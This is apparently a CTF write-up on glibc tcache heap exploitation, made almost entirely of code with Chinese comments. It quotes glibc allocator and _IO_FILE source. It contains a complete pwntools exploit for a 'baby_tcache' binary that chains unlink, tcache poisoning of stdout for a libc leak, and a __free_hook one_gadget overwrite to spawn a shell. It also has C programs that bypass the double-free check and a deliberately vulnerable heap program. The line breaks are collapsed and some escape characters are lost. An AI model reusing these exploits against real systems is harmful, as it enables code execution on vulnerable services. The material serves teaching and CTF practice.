/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache.  */typedef struct tcache_entry{  struct tcache_entry *next;} tcache_entry;

/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct").  Keeping overall size low is mildly important.  Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons.  */typedef struct tcache_perthread_struct{  char counts[TCACHE_MAX_BINS];  tcache_entry *entries[TCACHE_MAX_BINS];} tcache_perthread_struct;
static __thread tcache_perthread_struct *tcache = NULL;

static voidtcache_put (mchunkptr chunk, size_t tc_idx){  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);  assert (tc_idx < TCACHE_MAX_BINS);  e->next = tcache->entries[tc_idx];  tcache->entries[tc_idx] = e;  ++(tcache->counts[tc_idx]);}

static void *tcache_get (size_t tc_idx){  tcache_entry *e = tcache->entries[tc_idx];  assert (tc_idx < TCACHE_MAX_BINS);  assert (tcache->entries[tc_idx] > 0);  tcache->entries[tc_idx] = e->next;  --(tcache->counts[tc_idx]);  return (void *) e;}

typedef struct tcache_entry{  struct tcache_entry *next;  /* This field exists to detect double frees.  */  struct tcache_perthread_struct *key;} tcache_entry;

static __always_inline voidtcache_put(mchunkptr chunk, size_t tc_idx){  tcache_entry *e = (tcache_entry *)chunk2mem(chunk);
  /* Mark this chunk as "in the tcache" so the test in _int_free will     detect a double free.  */  e->key = tcache;
  e->next = tcache->entries[tc_idx];  tcache->entries[tc_idx] = e; 
  ++(tcache->counts[tc_idx]);}

size_t tc_idx = csize2tidx(size);
if (tcache != NULL && tc_idx < mp_.tcache_bins){  /* Check to see if it's already in the tcache.  */  tcache_entry *e = (tcache_entry *)chunk2mem(p);
  if (__glibc_unlikely(e->key == tcache))  {    tcache_entry *tmp;    LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx);  //这里会以一定的概率去遍历链表    for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)      if (tmp == e)        malloc_printerr("free(): double free detected in tcache 2");  }
  if (tcache->counts[tc_idx] < mp_.tcache_count)  {    tcache_put(p, tc_idx);    return;  }}

/* Safe-Linking:   Use randomness from ASLR (mmap_base) to protect single-linked lists   of Fast-Bins and TCache.  That is, mask the "next" pointers of the   lists' chunks, and also perform allocation alignment checks on them.   This mechanism reduces the risk of pointer hijacking, as was done with   Safe-Unlinking in the double-linked lists of Small-Bins.   It assumes a minimum page size of 4096 bytes (12 bits).  Systems with   larger pages provide less entropy, although the pointer mangling   still works.  */#define PROTECT_PTR(pos, ptr)   ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)

int_IO_new_file_overflow (_IO_FILE *f, int ch){  if (f->_flags & _IO_NO_WRITES)    {      f->_flags |= _IO_ERR_SEEN;      __set_errno (EBADF);      return EOF;    }  /* If currently reading or no buffer allocated. */  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)    {      :      :    }  if (ch == EOF)    return _IO_do_write (f, f->_IO_write_base,             f->_IO_write_ptr - f->_IO_write_base);

static_IO_size_tnew_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do){  _IO_size_t count;  if (fp->_flags & _IO_IS_APPENDING)    /* On a system without a proper O_APPEND implementation,       you would need to sys_seek(0, SEEK_END) here, but is       not needed nor desirable for Unix- or Posix-like systems.       Instead, just indicate that offset (before and after) is       unpredictable. */    fp->_offset = _IO_pos_BAD;  else if (fp->_IO_read_end != fp->_IO_write_base)    {     ............    }  count = _IO_SYSWRITE (fp, data, to_do);

_flags = 0xfbad0000  // Magic number_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800

create(0x4f0) # 0create(0x30) # 1 # 多用几个tcache范围内不同的size，方便free的时候能精准指向目标create(0x40) # 2create(0x50) # 3create(0x60) # 4 # 用于取消下一个chunk的prev_inuse bit，触发unlinkcreate(0x4f0) # 5create(0x60, p64(0xdeadbeef)) # 6 # 防止和top chunk合并delete(4)pay = b'a'*0x60 + p64(0x660) # prev_size指向chunk 0create(0x68, pay) # 4delete(1) # 准备进行tcache poisoningdelete(0) # 使合并的对象能绕过unlink检查delete(5) # 触发合并

create(0x4f0) # 0delete(4) # ready to hijack __free_hookcreate(0xe0, 'x60x07') # 4

create(0x30)pay = p64(0xfbad1800) + p64(0)*3 + b'x00'create(0x30, pay)

from pwn import *context.log_level = 'debug'elf = ELF('./baby_tcache')libc = ELF('./libc-2.27.so')p = process('./baby_tcache')
def choice(idx):    p.recvuntil('choice:')    p.sendline(str(idx))
def create(sz, content='A'):    choice(1)    p.recvuntil('Size:')    p.sendline(str(sz))    p.recvuntil('Data:')    p.send(content)
def delete(idx):    choice(2)    p.recvuntil('Index:')    p.sendline(str(idx))
create(0x4f0) # 0create(0x30) # 1create(0x40) # 2create(0x50) # 3create(0x60) # 4create(0x4f0) # 5create(0x60, p64(0xdeadbeef)) # 6delete(4)pay = b'a'*0x60 + p64(0x660)create(0x68, pay) # 4delete(1) # ready to f**k _IO_2_1_stdout_delete(0)delete(5)create(0x4f0) # 0delete(4) # ready to hijack __free_hookcreate(0xe0, 'x60x07') # 4# tcache poisoningcreate(0x30)pay = p64(0xfbad1800) + p64(0)*3 + b'x00'create(0x30, pay)p.recv(8)libcbase = u64(p.recv(8)) - 0x3ed8b0hook = libcbase + libc.symbols['__free_hook']print(hex(libcbase))
one = [0x4f2c5, 0x4f322, 0x10a38c]create(0xf0, p64(hook))create(0x60)create(0x60, p64(libcbase + one[1]))
delete(4)
# gdb.attach(p)
p.interactive()

if (__glibc_unlikely(e->key == tcache))     {       tcache_entry *tmp;       LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx);  //这里大概率会去遍历链表       for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)         if (tmp == e)           malloc_printerr("free(): double free detected in tcache 2");     }

static __always_inline voidtcache_put (mchunkptr chunk, size_t tc_idx){  ......  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  /* Mark this chunk as "in the tcache" so the test in _int_free will     detect a double free.  */  e->key = tcache;  ......}

#if USE_TCACHE  {    size_t tc_idx = csize2tidx (size);    if (tcache != NULL && tc_idx < mp_.tcache_bins)      {    /* Check to see if it's already in the tcache.  */    tcache_entry *e = (tcache_entry *) chunk2mem (p);
    /* This test succeeds on double free.  However, we don't 100%       trust it (it also matches random payload data at a 1 in       2^<size_t> chance), so verify it's not an unlikely       coincidence before aborting.  */    if (__glibc_unlikely (e->key == tcache))      {        tcache_entry *tmp;        LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);        for (tmp = tcache->entries[tc_idx];         tmp;         tmp = tmp->next)          if (tmp == e)        malloc_printerr ("free(): double free detected in tcache 2");        /* If we get here, it was a coincidence.  We've wasted a           few cycles, but don't abort.  */      }
    if (tcache->counts[tc_idx] < mp_.tcache_count)      {        tcache_put (p, tc_idx);        return;      }      }  }#endif

#include<unistd.h>#include<stdio.h>#include<stdlib.h>
int main(){    intptr_t ptr = malloc(0x100);    free(ptr);
    *((intptr_t *)ptr+1) = 0;
    free(ptr);
    getchar();
    return 0;}

#include<unistd.h>#include<stdio.h>#include<stdlib.h>
int main(){    intptr_t ptr = malloc(0x100);    free(ptr);
    *((intptr_t *)ptr-1) = 0xf0;
    free(ptr);
    getchar();
    return 0;}

#include<unistd.h>#include<stdio.h>#include<stdlib.h>
int main(){    intptr_t *ptr[7], chunk_A, chunk_B, chunk_C;
    for(int i=0;i<7;i++)  ptr[i] = malloc(0x100);    chunk_B = malloc(0x100);    chunk_A = malloc(0x100);    malloc(0x20);  // gap
    for(int i=0;i<7;i++)  free(ptr[i]);    free(chunk_A);    free(chunk_B); // consolidate
    malloc(0x100);
    free(chunk_A); // double free
    chunk_C = malloc(0x110);    *((intptr_t *)chunk_C+0x22) = 0xdeadbeef;
    getchar();
    return 0;}

#include<unistd.h>#include<stdio.h>#include<stdlib.h>void *ptr[0x10];int idx;void init(){    setbuf(stdin, 0);    setbuf(stdout, 0);    setbuf(stderr, 0);}int menu(){    puts("1.create");    puts("2.edit");    puts("3.show");    puts("4.delete");    puts("5.exit");    return puts("Your choice:");}int readInt(){    char buf[0x10];    read(0, buf, 8);    return atoi(buf);}void create(){    int idx, ini;    size_t sz;    puts("Index:");    idx = readInt();    puts("Size:");    sz = readInt();    puts("Initialize?");    ini = readInt();    if(ini)        ptr[idx] = calloc(1, sz);    else        ptr[idx] = malloc(sz);    if(!ptr[idx]){        fprintf(stderr, "alloc error!n");        exit(-1);    }    puts("d0ne!");}void edit(){    int idx, sz;    puts("Index:");    idx = readInt();    puts("Size:");    sz = readInt();    read(0, ptr[idx], sz);    puts("d0ne!");}void show(){    puts("Index:");    int idx = readInt();    if(!ptr[idx]){        puts("error index!");        return;    }    puts(ptr[idx]);}void del(){    puts("Index:");    int idx = readInt();    if(!ptr[idx]){        puts("error index!");        return;    }    free(ptr[idx]);}int main(){    init();    while(1){        menu();        int op = readInt();        switch(op){        case 1:            create();  break;        case 2:            edit();  break;        case 3:            show();  break;        case 4:            del();  break;        case 5:            exit(0);            break;        default:  break;        }    }    return 0;}

gcc heap.c -o heap -g -z relro -z lazy

#if USE_TCACHE      /* While we're here, if we see other chunks of the same size,         stash them in the tcache.  */      size_t tc_idx = csize2tidx (nb);      if (tcache && tc_idx < mp_.tcache_bins)        {          mchunkptr tc_victim;          /* While bin not empty and tcache not full, copy chunks over.  */          while (tcache->counts[tc_idx] < mp_.tcache_count             && (tc_victim = last (bin)) != bin)        {          if (tc_victim != 0)            {              bck = tc_victim->bk;              set_inuse_bit_at_offset (tc_victim, nb);              if (av != &main_arena)            set_non_main_arena (tc_victim);              bin->bk = bck;              bck->fd = bin;              tcache_put (tc_victim, tc_idx);                }        }

typedef struct tcache_perthread_struct {    uint16_t counts[TCACHE_MAX_BINS];    tcache_entry* entries[TCACHE_MAX_BINS];} tcache_perthread_struct;

# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)